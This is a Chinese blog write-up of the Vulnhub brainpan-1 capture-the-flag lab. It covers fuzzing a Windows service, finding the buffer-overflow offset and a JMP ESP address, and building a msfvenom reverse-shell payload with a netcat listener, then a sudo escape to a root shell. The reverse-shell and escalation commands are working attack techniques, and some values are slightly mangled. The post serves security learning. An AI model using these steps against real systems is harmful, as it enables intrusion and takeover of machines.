【甄选靶场】Vulnhub百个项目渗透——项目十七:brainpan-1(windows缓冲区溢出,sudo提权)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目十七:brainpan-1(windows缓冲区溢出,sudo提权)

靶场地址


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月19日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、使用步骤

1.web突破

nmap -sP 192.168.247.146

在这里插入图片描述

发现至开启了9999端口和一个10000的web服务,9999未知,所以先10000

在这里插入图片描述

啥也没有

在这里插入图片描述

目录爆破,出现bin目录

在这里插入图片描述

2.缓冲区溢出突破

1.本地环境搭建(缓冲区文件获取并本地分析)

是一个exe文件,但是我们的靶场是一个linux环境,所以这个exe肯定是在linux中的某一个开启了windows的服务

在这里插入图片描述

我们在自己的一台windows中下载好这个exe文件,然后利用immunity debugger(id)来对这个exe分析

直接将这个exe拖到id中,点击上方导航栏的运行,才能开始运行,看到doc中出现了开启了9999端口

此时此刻,我们大致明白了,靶场的9999端口就是运行了这个exe,那么只要能借助这个exe,我们就能大致模仿linux中的windows环境

在这里插入图片描述https://github.com/jessekurrus/brainpan
下载py脚本,当然了你也可以自己写,专栏的下一篇文章写如何自己编写,这个脚本你也可以稍加修改用到以后

2.模糊测试

这一步的目的是借助批量产生的无意义的字符来冲击文件,可以得知是否存在溢出的可能

python2 brainfuzzer.py 192.168.3.101 9999

在这里插入图片描述

看到连接中断,那么就说明存在溢出,再看下图,左上角已经变黑崩溃了

在这里插入图片描述

3.判断溢出点

locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_cre
ate.rb -l 1000   --生成1000位的可以反查的字符
---复制粘贴下来然后放法到brainpan1.py在运行

python2 brainpan1.py 192.168.3.101 9999

在这里插入图片描述

在这里插入图片描述到这就可以看到 EIP变成了—35724134

locate pattern_off

/usr/share/metasploit-framework/tools/exploit/pattern_off
set.rb -q 35724134    ---反查溢出点

如下图,溢出点在524

在这里插入图片描述

35 72 41 34 因为两个字节是一个字符,所以这样分开 然后计算机中内存的地址按照由低到高的顺序排列存放 也就是说放在最下面的是最先放的
所以这一组EBP(基底地址)的第一组字节(第一个字符)应该是34,对应的ACSII也就是

在这里插入图片描述

以此类推,这一组特殊的内存地址也就是4Ar5

然后再回去找生成的1000个坏字符,也就是在512得位置

接下来就是要让这一段内存地址指向我们的shellcode,因为当发生溢出的情况时,系统就会自动调用这一段内存,这一段内存里面存放的是下一跳的信息,他的本意是不因为溢出而产生计算机崩溃,而让程序继续进行,所以我们只需要知道他下一跳的地址以及大小,然后我们构造相对应的shellcode

4.获得shellcode空间大小

python2 brainpan2.py 192.168.3.101 9999

在这里插入图片描述

524个字节填满他正常的内存空间,而后就会造成溢出,用B填满他的指向(四个字符),剩下整这么多C就是shellcode的内存可存放大小,借助工具我们就可以知道shellcode可以放多少字节(也就是说我们要知道他最终的内存中保留下来了多少C)

在这里插入图片描述

我们这就看到了,查找ASCII表知道了EIP均被B覆盖,EBP均被A覆盖,ESP的位置右键 Follow in dump
在左下视图右键选择HEX-HEX/ASCII(16),选择16个字节一行娶观察

在这里插入图片描述

起始位置005FF910 结束位置是005FFAE0

在这里插入图片描述

转换成10进制也就是464,可以放得下一个shellcode

5.查找坏字符

因为在不同的协议,功能,等情况下,对于坏字符的敏感度不同,有些不管,有些要管,为了避免这个问题,我们就一刀切,全部排除坏字符

发送0x01 到0xff

python2 brainpan3.py 10.211.55.44 9999

在这里插入图片描述

然后我们看右下视图(调整成16位视图)

在这里插入图片描述
从右往左读,发现均为正常显示,除了0x00,因为无论何时何地,他都是坏字符

7.定位shellcode

因为ESP的地址会变化,这是系统的保护机制,所以我们要找一种可以精确的百分百定位到shellcode的东西,这个东西是JMP ESP
接着引入mona脚本(识别内存模块的脚本)

!mona modules

最上面ASLR等是保护机制,我们要找一个均是false的,往回看就是这个exe文件,在实际操作中也可能是DLL进程文件,具体问题具体分析

在这里插入图片描述
查询到jmp esp字符在内存中的表示来查找位置

locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp

在这里插入图片描述

利用mona脚本来查找当前文件中jmp esp的存在位置

!mona find -s “\xff\xe4” -m brainpan.exe

在这里插入图片描述

得到结果如下 311712F3
获得是JMP ESP地址 :0x311712F3

msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192
.168.2.157 -e x86/shikata_ga_nai -b "\x00" -f py

在这里插入图片描述

分析一下这个payload:

JMP ESP 内存地址:\xf3\x12\x17\x31c

1.524个A用来覆盖掉正常的内存空间,
2.\xf3\x12\x17\x31c是JMP ESP的地址用来指向shellcode;
3.后面一大串整型乘\x90是去掉nop空地址(这一段相当于啥也没有,要去掉)
4.再加上msf生成的反弹shell

本地再开一个msf生成的时候设置的端口

nc -nvlp 443

在这里插入图片描述

2.提权突破

1.信息再收集

上传提权三脚本,显示出内核版本可以利用,并且可能存在sudo提权

2.内核版本提权

没啥说的gcc编译执行

3.sudo提权

> sudo -l
User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
    
**看到这个就知道可以利用这个目录sudo提权**
> 先利用python生成一个正常的终端
> python -c 'import pty;pty.spawn ("/bin/bash")'
> 
> sudo /home/anansi/bin/anansi_util Usage: /home/anansi/bin/anansi_util
> 
> [action] Where [action] is one of:
>   - network
>   - proclist
>   - manual [command]
> 
> 可以执行command! sudo /home/anansi/bin/anansi_util manual cp !/bin/bash id
> ---获得root权限

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值